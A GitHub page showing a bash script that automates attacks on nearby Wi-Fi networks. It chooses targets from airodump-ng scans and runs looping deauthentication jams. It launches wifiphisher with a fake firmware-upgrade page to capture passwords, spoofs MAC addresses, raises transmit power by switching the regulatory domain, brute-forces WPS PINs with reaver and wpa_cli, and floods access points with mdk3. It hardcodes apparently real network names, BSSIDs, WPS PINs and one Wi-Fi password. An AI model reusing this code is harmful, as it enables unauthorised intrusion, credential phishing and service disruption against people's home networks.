-
Notifications
You must be signed in to change notification settings - Fork 0
/
3callwlfunction
executable file
·1199 lines (1088 loc) · 29.9 KB
/
3callwlfunction
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
setvarb() {
userid=$(awk -F: '!/root/ && /(\/bin\/bash)/ {print $1}' /etc/passwd)
#wlinterface=$(awk '/wifi/ {printf $1}' <<< "$(nmcli d)")
wlinterface=$(awk '!/mon/ && $1=="Interface" {printf $2}' <<< "$(iw dev)")
moninterface="mon0"
wpasupp="/etc/wpa_supplicant.conf"
userhomedir="/home/$userid"
echo "I am $userid"
popfn=""
startno="0"
wpscript="./2wpcommand"
extfunc="./functorun"
#2wpcommand
#wptooldir="$userhomedir/Documents/Docs/Linux/Kali/Tools"
#wptooldir="$userhomedir/Documents/Docs/mlinuxproject/wltools/wptools"
wptooldir="./wptools"
wp12dir="$wptooldir/wifiphisher-1.2"
wp12r2dir="$wptooldir/wifiphisher-1.2r2"
jaminterface=${wlinterface}mon3
macchanging="off"
jammode=2
stopaftertime=180
#extfunc2="./funcsh"
wptargnotes="./wptargnotes"
#4wpspintext
mc=on
ssidlog="./wps$ssid"
wpscript="./2wpcommand"
extfunc2="./func"
#4connectwifikey
#| head -2 | tail -1)
#nmcli c
#nmcli d wifi list
}
setvarb
#awk '/^cleanaplist\(\)\ \{/,/^}/' 2wpcommand
#sed -n "/^$1()/,/^}/p" $wpscript | tee $extfunc
#sed -rn "/(^cleanaplist\(\)\ \{)/,/^}/p" ./2wpcommand
#perl -0777 -ne 'print $1 if /(cleanaplist\(\)\ \{.*?[}])/s' ./2wpcommand
#a=cleanaplist
#wpscript=./2wpcommand
#extfunc=./func.sh
#
#perl -0777 -ne 'print $1 if /('$1'\(\)\ [{].*?\n[}])/s' $wpscript | tee $extfunc
#source $copiedto
sourcefn() {
fntoadd=$1
refscript=$2
copiedto=$3
sed -rn "/(^$1\(\)[ ][{])/,/^}/p" $refscript | tee -a $copiedto
return 0
}
sourcescript() {
fntoadd=$1
refscript=$2
copiedto=$3
echo '#!/bin/bash' | tee "$copiedto"
sourcefn "(setvarb|sourcefn|sourcescript)" "./3callwlfunction" "$copiedto"
#sed -rn "/(^\#\#\#$1/,/^\#\#\#$1}/p" $refscript | tee -a $copiedto
sed -rn '/###'$1'/,/###'$1'/p' $refscript | tee -a "$copiedto"
#echo "setvarb" | tee -a $copiedto
return 0
}
createextsc() {
echo "#!/bin/bash" | tee $extfunc
sourcefn "(setvarb|sourcefn|sourcescript)" "$0" "$extfunc"
echo "setvarb" | tee -a "$extfunc"
sudo chmod +x $extfunc
}
exitfn() {
trap SIGINT
echo "I am $userid"
#sudo killall python2 ;
sudo killall 2wpcommand ;
sudo killall xterm ;
sudo killall wifiphisher ;
sudo killall aircrack-ng ;
runrestartwlinterfacesc
echo "exitting"
sleep 1
exit
return 0
}
runcinroot() {
sudo sh -c "$1"
return 0
}
oldgmrold() {
echo "I am $userid"
sudo chmod +x $wpscript ;\
trap "exitfn" INT
cinroot=$(cat <<EOF
gnome-terminal -e "$wpscript"
EOF
)
runcinroot "$cinroot"
while true ; do sleep 3600 ; done
trap SIGINT
return 0
}
getmacrv9() {
echo "I am $userid"
sourcescript "2wpcommand" "./3callwlfunction" "$wpscript"
echo "wpcommand2" | tee -a "$wpscript"
#sleep 6000
sudo chmod +x $wpscript ;\
trap "exitfn" INT
cinroot=$(cat <<EOF
gnome-terminal -e "sudo $wpscript"
EOF
)
runcinroot "$cinroot"
while true ; do sleep 3600 ; done
trap SIGINT
return 0
}
creategmrscold() {
callscript="./3callwlfunction"
#setvarb|exitfn|runcinroot|sourcefn|sourcescript|
rm -f $extfunc
echo '#!/bin/bash' | tee $extfunc
sourcefn "(setvarb|exitfn|runcinroot|sourcefn|sourcescript|getmacrv9)" $callscript $extfunc
echo "setvarb" | tee -a $extfunc
echo "getmacrv9" | tee -a $extfunc
sudo chmod +x $extfunc
return 0
}
creategmrsc() {
callscript="./3callwlfunction"
#setvarb|exitfn|runcinroot|sourcefn|sourcescript|
rm -f $extfunc
echo '#!/bin/bash' | tee $extfunc
sourcescript "2wpcommand" "$0" "$extfunc"
sourcefn "(setvarb|exitfn|runcinroot|sourcefn|sourcescript)" "$0" "$extfunc"
echo "
trap \"exitfn\" INT
setvarb
wpcommand2
trap SIGINT" | tee -a $extfunc
sudo chmod +x $extfunc
return 0
}
###2wpcommand
wpcommand2() {
setvarb
installaircrackng() {
#sudo add-apt-repository -y "" ;
sudo apt-get install -y aircrack-ng ;
return 0
}
installwifiphisher() {
link=""
outputdir=""
wget
return 0
}
linkdir() {
linkdircommand=$(cat <<EOF
oridir="$userhomedir/Documents/Docs/Linux/Kali/Tools" &&\
destdir="$userhomedir/Documents/Docs/mlinuxproject/wltools/wptools" &&\
ln -sd $oridir/wifiphisher-1.2 $destdir/wifiphisher-1.2 &&\
ln -sd $oridir/wifiphisher-1.2r2 $destdir/wifiphisher-1.2r2 &&
EOF
)
sh -c "$linkdircommand"
}
#forfin resultltr
#forfinarray resultutd
cleanaplist() {
sourcedir1="$userhomedir/Documents/Docs/mlinuxproject/wltools"
file=$(find $sourcedir1 -mindepth 1 -maxdepth 1 -printf '%f\n' | sed -e 's,^./,,' -e 's, ,ws,' -e 's,Hufflepuff.Common.Room,HufflepuffwsCommonwsRoom,' | tr '\n' ' ' )
filec=$(echo $file | wc -w)
echo $filec
comparecount=0
for f in $file ; do
if [[ -f "$sourcedir1/$f" ]] && [[ $f =~ (APs)(.txt-)(..)(.cap|.kismet|.csv) ]] ; then
comparecount=$[$comparecount+1]
echo "delete $f"
#sleep 100
sudo rm -rf "$sourcedir1/$f"
fi
done
echo "$comparecount"
return 0
}
runrestartwlinterfacesc() {
echo "#!/bin/bash" | tee $extfunc2
sourcefn "setvarb" $0 $extfunc2
echo "setvarb" | tee -a $extfunc2
sourcefn "restartwlinterface" $0 $extfunc2
echo "
whoami
restartwlinterface" | tee -a $extfunc2
sudo chmod +x $extfunc2
echo "$(whoami)"
curdir="$(pwd)"
#xterm -e "sudo -H -u $userid bash -c 'bash $curdir/func'"
xterm -e "$curdir/func"
}
restartwlinterface() {
echo "$userid"
echo "$wlinterface"
sudo wpa_cli terminate ;
sudo killall python2 \
aircrack-ng \
wifiphisher \
dhclient \
wpa_supplicant \
NetworkManager ;\
#avahi-daemon
sudo airmon-ng stop mon0 ;\
sudo airmon-ng check kill ;\
allmon=($(awk '/mon/ {printf $1}' <<< "$(ifconfig)"))
if [[ -n $allmon ]] ; then
for f in ${#allmon[@]} ; do
sudo iw dev ${allmon[$[f]-1]} del
done
fi
#sudo iw dev $wlinterface del ;\
sudo ifconfig $wlinterface down ;\
sudo ifconfig $wlinterface up ;\
sudo modprobe b43 -r ;\
sudo modprobe b43 ;\
sleep 1
#rfkill unblock wlan wifi ;\
#sudo service network-manager restart ;\
sudo systemctl restart NetworkManager
sudo killall nm-applet ;\
nohup nm-applet &
sleep 3
return 0
}
su - user <<EOF
whoami
nohup nm-applet &
EOF
listallw() {
sudo killall python2 ;
runrestartwlinterfacesc
cleanaplist
sleep 5
sudo airmon-ng stop mon0 ;
sudo airmon-ng start wlp3s0b1 ;
mode=1
bssid=$(awk '/\#\#/ {print $2}' $wptargnotes)
echo $bssid
if [ "$mode" -eq "1" ]; then
xterm -ls -xrm 'XTerm*selectToClipboard: true' -hold -e "sudo airodump-ng mon0 -w APs.txt"
elif [ "$mode" -eq "2" ]; then
xterm -ls -xrm 'XTerm*selectToClipboard: true' -hold -e "sudo airodump-ng mon0 --bssid \"$bssid\" -w APs.txt"
fi
sleep 1
}
jammode() {
if [[ $jammode -eq 1 ]]
then
jamx=2
jaminterval=4
elif [[ $jammode -eq 2 ]]
then
jamx=10
jaminterval=20
fi
return 0
}
prepare1() {
sudo killall xterm ;
sudo killall python2 ;
sudo killall wifiphisher ;
runrestartwlinterfacesc
return 0
}
checktime() {
hournow=$(date +%H)
if [ $hournow -gt 18 -o $hournow -lt 8 ]
then
echo "Perfect time"
else
echo "$hournow Not the perfect time, should we carry on?"
read -t 3 -p "y/n? " cont
cont=${cont:-y}
if [ $cont == "n" ]
then
exit
fi
fi
return 0
}
changemac() {
bssidmc="C0:25:E9:BD:3D:8B"
#MBP="e4:ce:8f:32:a5:86"
#SP3="04"
#macchanging="on"
sudo airmon-ng stop mon0 "$wlinterface"mon0 ;
if [[ $macchanging =~ (on) ]]
then
sudo ifconfig $wlinterface down
sleep 1
sudo macchanger -m $bssidmc $wlinterface
sleep 1
sudo ifconfig $wlinterface up
fi
return 0
}
#cat APs.txt-01.kismet.csv | sort -r -k22 -n | awk -F';' '{print $22}'
#cat APs.txt-01.kismet.csv | sort -t';' -r -k22 -n | awk -F';' '{print $14"\t"$22"\t"$4"\t"$6"\t"$3}'
#cat APs.txt-01.csv | sort -t',' -r -k9,9 -k11,11 -n | awk -F',' '{print $11"\t"$9"\t"$1"\t"$4"\t"$14}'
#cat APs.txt-01.csv | sort -t',' -r -k11,11 -k9,9 -n | awk -F',' '{print $11"\t"$9"\t"$1"\t"$4"\t"$14}'
#sed -r '/VostroNet|Telstra\ Air|BelongKM7KJGQH|OPTUS_A33E22|Fon\ WiFi|504|PATYAYA|RTA|Ester|(-)[7-9][0-9]/d' ./APs.txt-01.csv | awk -F',' '{print $11"\t"$9"\t"$1"\t"$4"\t"$14}'
setwi() {
if [[ $automode =~ (y) ]] ; then
sudo killall xterm ;
listallw &
sleep 60
until [[ -n $topwl && -n $essid && -n $channel ]] ; do
#topwl=$(cat APs.txt-01.csv | sed -r '/VostroNet|Telstra\ Air|BelongKM7KJGQH|OPTUS_A33E22|Fon\ WiFi|504|PATYAYA|RTA|Ester|(-)[7-9][0-9]/d' | sort -t',' -r -k11,11 -k9,9 -n | awk -F',' '{print $11"\t"$9"\t"$1"\t"$4"\t"$14}' | sed -n 1p)
avoidssid="(MAC|VostroNet|Telstra[[:space:]]Air|ZTE|BelongKM7KJGQH|OPTUS_A33E22|Fon[[:space:]]Wifi|504|PATYAYA|RTA|Ester|David[[:space:]]Zhu|Bad[[:space:]]Dragon|[-][7-9][0-9])"
topwl=$(awk -F"," 'NR==FNR{if (/MAC/) hit=NR} !/'$avoidssid'/ && NR>2{print $11";;"$9";;"$1";;"$4";;"$14} FNR==hit{exit}' ./APs.txt-01.csv | sort -t',' -r -k11,11 -k9,9 -n | sed -n 1p)
#awk 'NR==FNR{if (/MAC/) hit=NR; next} {print} FNR==hit{exit}' ./APs.txt-01.csv
essid=$(awk -F";;" '{gsub(/(^[ ]*)/,"",$5);printf $5}' <<< "$topwl")
bssid=$(awk -F";;" '{printf $3}' <<< "$topwl")
channel=$(awk -F";;" '{gsub(/ /,"",$4);printf $4}' <<< "$topwl")
echo "searching..."
sleep 2
done
sudo killall xterm ;
datenow=$(date)
echo "$datenow ; $essid $channel" | tee -a $wptargnotes
else
listallw &
sleep 60
sudo killall xterm ;
essid=$(awk '/\#\#/ {printf $12}' $wptargnotes)
bssid=$(awk '/\#\#/ {printf $2}' $wptargnotes)
a=0
until [[ $channel ]] ; do
getchannel
echo "checkchannelagain"
sleep 5
if [[ $a -gt 4 ]] ; then
sleep 10
essid=$(awk '/\#1\#/ {printf $12}' $wptargnotes)
bssid=$(awk '/\#1\#/ {printf $2}' $wptargnotes)
getchannel
fi
((a++))
done
fi
return 0
}
getchannel() {
channel=$(awk '/'$bssid'/ {printf $1}' <<< "$(nmcli -f CHAN,BSSID,ACTIVE dev wifi list)")
return 0
}
jam() {
xterm -hold -e "i=0 ; while true ; do sudo aireplay-ng -q 15 -0 \"$jamx\" -a \"$bssid\" ${wlinterface}mon4 --ignore-negative-one ; sleep $jaminterval ; ((i++)) ; done" &
return 0
}
runwp() {
if [ -z "$channel" ] ; then
sudo $wp12dir/bin/wifiphisher -nJ -e "$essid" -p "firmware-upgrade"
sleep 1
xterm -hold -e "sudo $wp12dir/bin/wifiphisher -nJ -e \"$essid\" -p firmware-upgrade" &
else
sudo $wp12r2dir/bin/wifiphisher -nJ -e "$essid" -ch "$channel" -p "firmware-upgrade"
sleep 1
xterm -hold -e "sudo $wp12r2dir/bin/wifiphisher -nJ -e \"$essid\" -ch \"$channel\" -p firmware-upgrade" &
#-pK s3cretpassword
fi
return 0
}
runjamnwp() {
read -t 3 -i "y" -p "auto?(y/n)" automode
automode=${automode:-y}
echo $automode
echo "I am g$(whoami)"
jammode
while true ; do
sleep 3
checktime
setwi
prepare1
sleep 3
echo "$essid"
echo "$bssid"
echo "$channel"
echo "jammode=$jammode"
changemac
runwp
echo "$jaminterface"
sleep 15
a=0
while true ; do
if [[ -n $(grep "$jaminterface" <<< "$(iwconfig)") ]] ; then
sleep 1
xterm -hold -e "sudo airodump-ng \"$jaminterface\" --bssid \"$bssid\" --channel \"$channel\" -w \"$wp12r2dir/wifiphisher/handshakes/$essid\" " &
sleep 5
jam
sleep $stopaftertime
checkcapfile "$essid"
break
fi
if [[ $a -gt 50 ]] ; then
break
fi
echo "check again"
((a++))
sleep 2
done
done
}
checkcapfile() {
./cleanup/cleanhsap
ap="$1"
passdir="$wp12r2dir/wifiphisher/password.txt"
sourcedir1="$wp12r2dir/wifiphisher/handshakes"
file=$(find $sourcedir1 -mindepth 1 -maxdepth 1 -printf '%f\n' | awk '/.cap/ && /'$ap'/ {print}' | sed -e 's,^./,,' -e 's, ,ws,' | tr '\n' ' ')
for f in $file
do
checkcap=$(grep "success" <<< "$(sudo aircrack-ng -w $passdir $f)")
if [[ ! -z $checkcap ]]
then
echo "found" | tee -a $wptargnotes
else
echo "not found on $f"
fi
done
}
boostwlinterface() {
sudo ifconfig $wlinterface down
sudo ip address flush $wlinterface &&\
sudo iw reg set BO
# optional to boost power FOR awuso36h
sleep 1
sudo ifconfig $wlinterface up
sudo iwconfig $wlinterface channel 13
sudo iwconfig $wlinterface txpower 30
sudo iwconfig $wlinterface rate 1M
}
boostwlinterface
runjamnwp
}
###2wpcommand
###4wpspintext
wpspintext() {
#bssidmc="e4:ce:8f:32:a5:86"
downgradereaverlibpcap() {
return 0
}
recheckpin() {
if [[ $mc =~ (on) ]] ; then
mcommand="-m $bssidmc"
fi
nmcli d disconnect $wlinterface
gnome-terminal -e "sudo reaver -i $moninterface -b $bssid -p $wpspin $mcommand && sleep 200"
}
retestwhitespace() {
bssidpin=$(cat <<EOF
F4:6B:EF:90:A3:21;;BelongKM7KJGQH;;4H3GYXTKYR;;43357017
9C:D3:6D:A5:FE:A0;;null;;nf;;08786241
C8:51:95:50:F2:E4;;null;;nf;;53050601
B8:08:D7:31:04:C0;;null;;nf;;32124804
50:04:B8:62:2E:F4;;ZENG;;nf;;64345482
C8:51:95:52:F1:CC;;JnTEPTY;;nf;;64345482;;58:00:E3:E9:68:E5
B8:08:D7:31:04:C0;;DODO-04B8;;nf;;;;A4:D1:8C:C9:61:60;D4:A3:3D:C3:C0:78
78:C1:A7:27:C1:76;;ZTE_H268A27C176;;nf;;;58:00:E3:E9:68:E5
C0:25:E9:D4:75:40;;ePlanet;;nf;;;1C:C6:3C:BD:64:02;74:C6:3B:48:1C:50
9C:3D:CF:FE:2D:DC;;David Zhu;;nf;;;
A4:B1:E9:79:A0:11;;Telstra79A011;;nf;;;
C0:25:E9:BD:3D:8B;;Bad Dragons (2.4GHz);;nf;;;
A0:63:91:72:6B:F4;;NETGEAR49;;nf;;;
A0:63:91:92:FB:04;;NETGEAR94;;nf;;;
F8:D1:11:94:70:3A;;mrmotomaox;;nf;;;
10:FE:ED:4C:DD:B0;;moto_tp_link;;nf;;;
54:E6:FC:C4:93:FE;;netgear304;;nf;;;
C8:51:95:50:F2:E4;;TPG-X898;;nf;;;
EOF
)
#bssidpinarray=($(awk -F";;" '{printf "%s\n",$2; $2=""; print $2}' <<< "$bssidpin"))
bssidpinarray=($(awk -F";;" '{printf("%s\n",$2)}' <<< "$bssidpin"))
for f in ${!bssidpinarray[@]}; do
echo $[$f+1]".${bssidpinarray[f]}"
done
return 0
}
bssidpin=$(cat <<EOF
F4:6B:EF:90:A3:21;;BelongKM7KJGQH;;4H3GYXTKYR;;43117475;;43357017
68:15:90:A3:3E:23;;OPTUS_A33E22;;carine@339204;;75748654;;89335260;;;;
9C:D3:6D:A5:FE:A0;;null;;nf;;08786241
C8:51:95:50:F2:E4;;null;;nf;;53050601
B8:08:D7:31:04:C0;;null;;nf;;32124804
50:04:B8:62:2E:F4;;ZENG;;nf;;64345482
C8:51:95:52:F1:CC;;JnTEPTY;;nf;;64345482;;58:00:E3:E9:68:E5
B8:08:D7:31:04:C0;;DODO-04B8;;nf;;;;A4:D1:8C:C9:61:60;D4:A3:3D:C3:C0:78
78:C1:A7:27:C1:76;;ZTE_H268A27C176;;nf;;;58:00:E3:E9:68:E5
C0:25:E9:D4:75:40;;ePlanet;;nf;;;1C:C6:3C:BD:64:02;74:C6:3B:48:1C:50
9C:3D:CF:FE:2D:DC;;David\wsZhu;;nf;;;
A4:B1:E9:79:A0:11;;Telstra79A011;;nf;;;
C0:25:E9:BD:3D:8B;;Bad\wsDragons\ws(2.4GHz);;nf;;;
A0:63:91:72:6B:F4;;NETGEAR49;;nf;;;
A0:63:91:92:FB:04;;NETGEAR94;;nf;;;
F8:D1:11:94:70:3A;;mrmotomaox;;nf;;;
10:FE:ED:4C:DD:B0;;moto_tp_link;;nf;;;
54:E6:FC:C4:93:FE;;netgear304;;nf;;;
C8:51:95:50:F2:E4;;TPG-X898;;nf;;;
EOF
)
listbssid() {
#sudo wash -i mon0
#sudo airodump-ng $moninterface
#sudo bully $moninterface -b $bssid -v3
bssidpinarray=($(awk -F";;" '{printf("%s\n",$2)}' <<< "$bssidpin"))
echo "$1"
for f in ${!bssidpinarray[@]}; do
echo $[$f+1]".${bssidpinarray[f]}"
done
return 0
}
choosebssid() {
whichbssid=$1
bssid=$(awk -F";;" 'NR=='$whichbssid'{printf $1}' <<< "$bssidpin")
ssid=$(awk -F";;" 'NR=='$whichbssid'{printf $2}' <<< "$bssidpin")
wpspin=$(awk -F";;" 'NR=='$whichbssid'{printf $4}' <<< "$bssidpin")
clientmac=$(awk -F";;" 'NR=='$whichbssid'{printf $6}' <<< "$bssidpin")
savedpintorestart=$(awk -F";;" 'NR=='$whichbssid'{printf $5}' <<< "$bssidpin")
key="random1234567890"
#bssidmc="C2:25:E9:BD:3D:8B"
bssidmc="$clientmac"
echo "$ssid chosen!"
return 0
}
startreaverway() {
sudo airmon-ng stop mon0 "$wlinterface"mon0 ;
if [[ $mc =~ (on) ]]
then
sudo ifconfig $wlinterface down
sudo ifconfig $wlinterface hw ether $bssidmc
sleep 1
sudo ip address flush $wlinterface &&\
sudo macchanger -m $bssidmc $wlinterface
boostwlinterface
fi
sudo airmon-ng start $wlinterface &&\
sudo ifconfig $moninterface down
sudo macchanger -m $bssidmc $moninterface
sudo ifconfig $moninterface up
\
\
sudo airodump-ng $moninterface --bssid $bssid &&\
sudo aireplay-ng -0 20 -a $bssid $moninterface --ignore-negative-one &&\
\
sudo systemctl restart NetworkManager &&\
nohup nm-applet & disown &&\
sleep 2 &&\
##reconnect
nmcli d disconnect $wlinterface &&\
nmcli d wifi connect "$ssid" password "$key" iface $wlinterface &&\
sleep 2 &&\
nmcli d disconnect $wlinterface &&\
nmcli d wifi connect "$ssid" password "$key" iface $wlinterface &&\
echo Y | sudo reaver -i $moninterface -b $bssid -vv -m $bssidmc
return 0
}
###TEST
setvarb
boostwlinterface() {
sudo ifconfig $wlinterface down
sudo ip address flush $wlinterface &&\
sudo iw reg set BO
# optional to boost power FOR awuso36h
sleep 1
sudo ifconfig $wlinterface up
sudo iwconfig $wlinterface channel 13
sudo iwconfig $wlinterface txpower 30
sudo iwconfig $wlinterface rate 1M
}
test() {
setvarb
if [[ ! -f $ssidlog ]] ; then
touch $ssidlog
fi
savedpintorestart=$(awk -F";;" 'END{printf $2}' $ssidlog)
#savedpintorestart=43100000
#savedpintorestart=89330000
if [[ -z $savedpintorestart ]] ; then
startfromno=10000000
else
startfromno=$savedpintorestart
fi
startfromno=$[75748654-30]
startfromno=$[$wpspin-30]
echo "$startfromno"
#43117475;;43357017
#for ((a=43117473;a<=44000000;a++)) ; do
#for ((a=89335258;a<=89335260;a++)) ; do
for ((a=$startfromno;a<=99999999;a++)) ; do
echo "$wlinterface;;$ssid;;$bssid;;$a;;$wpspin"
askforkeyfromwps $a
detectpsk=$(awk '/ssid=/ {print}' $wpasupp)
if [[ -n $detectpsk ]] ; then
sudo wpa_cli terminate
runrestartwlinterfacesc
cat $wpasupp
echo "GOTIT"
return 0
else
echo "try again"
fi
done
return 0
}
test4() {
setvarb
askforkeyfromwps $wpspin
#wlinterface=wlp3s0b1
#moninterface=mon0
#bssid=68:15:90:A3:3E:23
#ssid=OPTUS_A33E22
#wpspin=75748654
#sudo wpa_cli wps_reg 68:15:90:a3:3e:23 75748654
#http://admin:[email protected]
}
checkreaver() {
sudo airmon-ng start $wlinterface && sudo reaver -i $moninterface -b $bssid -p $wpspin -vv
}
checkwpslock() {
washresultf="./washresult"
sudo airmon-ng start $wlinterface
sudo wash -i $moninterface -o "$washresultf" &
wpslockstate=$(grep $ssid "$washresultf")
until [[ -n "$wpslockstate" ]] ; do wpslockstate=$(grep $ssid $washresultf) ; done
sudo killall wash ;
echo "$(date);;$wpslockstate" | tee -a "$ssidlog"
sudo rm -f "$washresultf" ;
sudo airmon-ng stop $moninterface
}
checkwpslock2() {
washresultf="./washresult"
#sudo airmon-ng start $wlinterface
sudo wash -i $moninterface -o "$washresultf" &
wpslockstate=$(grep $ssid "$washresultf")
until [[ -n "$wpslockstate" ]] ; do wpslockstate=$(grep $ssid $washresultf) ; done
sudo killall wash ;
echo "$(date);;$wpslockstate" | tee -a "$ssidlog"
sudo rm -f "$washresultf" ;
#sudo airmon-ng stop $moninterface
}
askforkeyfromwps() {
#https://askubuntu.com/questions/120367/how-to-connect-to-wi-fi-ap-through-wps
wpspin=$1
$extfunc2
sleep 3
boostwlinterface
checkwpslock
echo "$wlinterface;;$ssid;;$bssid;;$wpspin"
echo -e "ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
update_config=1" | sudo tee $wpasupp
sudo rm -f /var/run/wpa_supplicant/$wlinterface ;
sudo wpa_supplicant -B -Dwext -i$wlinterface -c$wpasupp
sudo wpa_cli status
##wpa_state=INACTIVE
sudo wpa_cli scan
#bssidl=$bssid
bssidl=$(awk '/'$ssid'/{printf $1}' <<< "$(sudo wpa_cli scan_result)")
until [[ -n $bssidl ]] ; do bssidl=$(awk '/'$ssid'/{printf $1}' <<< "$(sudo wpa_cli scan_result)") && echo "checkingbssid" && sleep 2 ; done
echo "$bssidl;;$wpspin"
sudo wpa_cli wps_reg $bssidl $wpspin
##OK
#wait
#CTRL-EVENT-CONNECTED
#https://raspberrypi.stackexchange.com/questions/13895/solving-rtnetlink-answers-file-exists-when-running-ifup
#sudo ip address flush $wlinterface
timeout 60 sudo dhclient $wlinterface &
sleep 60 && sudo killall dhclient ;
sudo wpa_cli save
cat $wpasupp
echo "$(date);;$wpspin" | tee -a $ssidlog
}
###TEST
listallfn() {
#listfn=($(awk '/(^(recheckpin|startreaverway)\(\) {)/ {gsub("([(){])","");printf("%s\n",$0)}g' ./wpspintext))
listfn=($(awk '/(^'$2'\(\) {)/ {gsub("([(){])","");print}' $3))
totalallfn=${#listfn[@]}
echo "$1"
for f in ${!listfn[@]}; do
echo $[$f+1]".${listfn[f]}"
done
read whichbssid fnno
n=$[$fnno-1]
fn="${listfn[$[$fnno-1]]}"
echo "$n.$fn"
choosebssid "$whichbssid"
$fn
sleep 1
trap SIGINT
return 0
}
letstry() {
setvarb
sudo airmon-ng start $wlinterface
sudo mdk3 $moninterface a -a $bssid -m &
sudo mdk3 $moninterface m -t $bssid &
sudo mdk3 $moninterface d -b blacklist -c X &
sudo mdk3 $moninterface b -t $bssid -c X &
while true ; do checkwpslock2 && sleep 10 ; done &
sleep 3600 && sudo killall mdk3 ;
#wpslock immune to : macchanger;;timedelay;x:y;;
}
while true ; do
listbssid "bssid"
listallfn "allfn" "(recheckpin|startreaverway|test|test2|test3|test4|letstry)" $0
#read mode
done
others=$(
##mdk3flood
timeout 30 sudo mdk3 $moninterface x 0 -t $bssid -n $ssid -s 100 &\
timeout 30 sudo mdk3 $moninterface x 0 -t $bssid -n $ssid -s 100 &\
timeout 30 sudo mdk3 $moninterface x 0 -t $bssid -n $ssid -s 100
##https://forums.kali.org/showthread.php?19498-MDK3-Secret-Destruction-Mode
mdk3 $moninterface a -a $bssid -m
#This floods the target AP with fake clients.
mdk3 $moninterface m -t $bssid
#This causes Michael failure, stopping all wireless traffic. However, this only works if the target AP supports TKIP. (Can be AES+TKIP)
mdk3 $moninterface d -b blacklist -c X
#This keeps a continuous deauth on the network. If this attack does not start, make a blank text document in your root folder named blacklist. Leave it empty as MDK3 automatically populates the list.
mdk3 $moninterface b -t $bssid -c X
#This floods a bunch of fake APs to any clients in range (only effective to windows clients and maybe some other devices, Macs are protected against this).
#You will know when the AP has reset either by checking with
wash -i $moninterface
#-C
)
message=$(cat <<EOF
#https://briolidz.wordpress.com/2012/01/10/wi-fi-protected-setup-wps/
#https://security.stackexchange.com/questions/147052/wps-output-messaging-translation-to-human-readable
[+] Waiting for beacon from XX:XX:XX:... -> searching for Access Point
[+] Associated with XX:XX:XX:... (ESSID: WifiTesting) -> Connected by radio
[+] Trying pin 12345670 -> Testing PIN
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message -> Router sends its identity / public key
[+] Sending M2 message -> The client sends its identity / public key
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message -> Confirmed, PIN1 is correct
[+] Sending M6 message
[+] Received M7 message -> Confirmed, PIN2 is correct
[+] Sending WSC NACK -> The client closes communication because it's finished
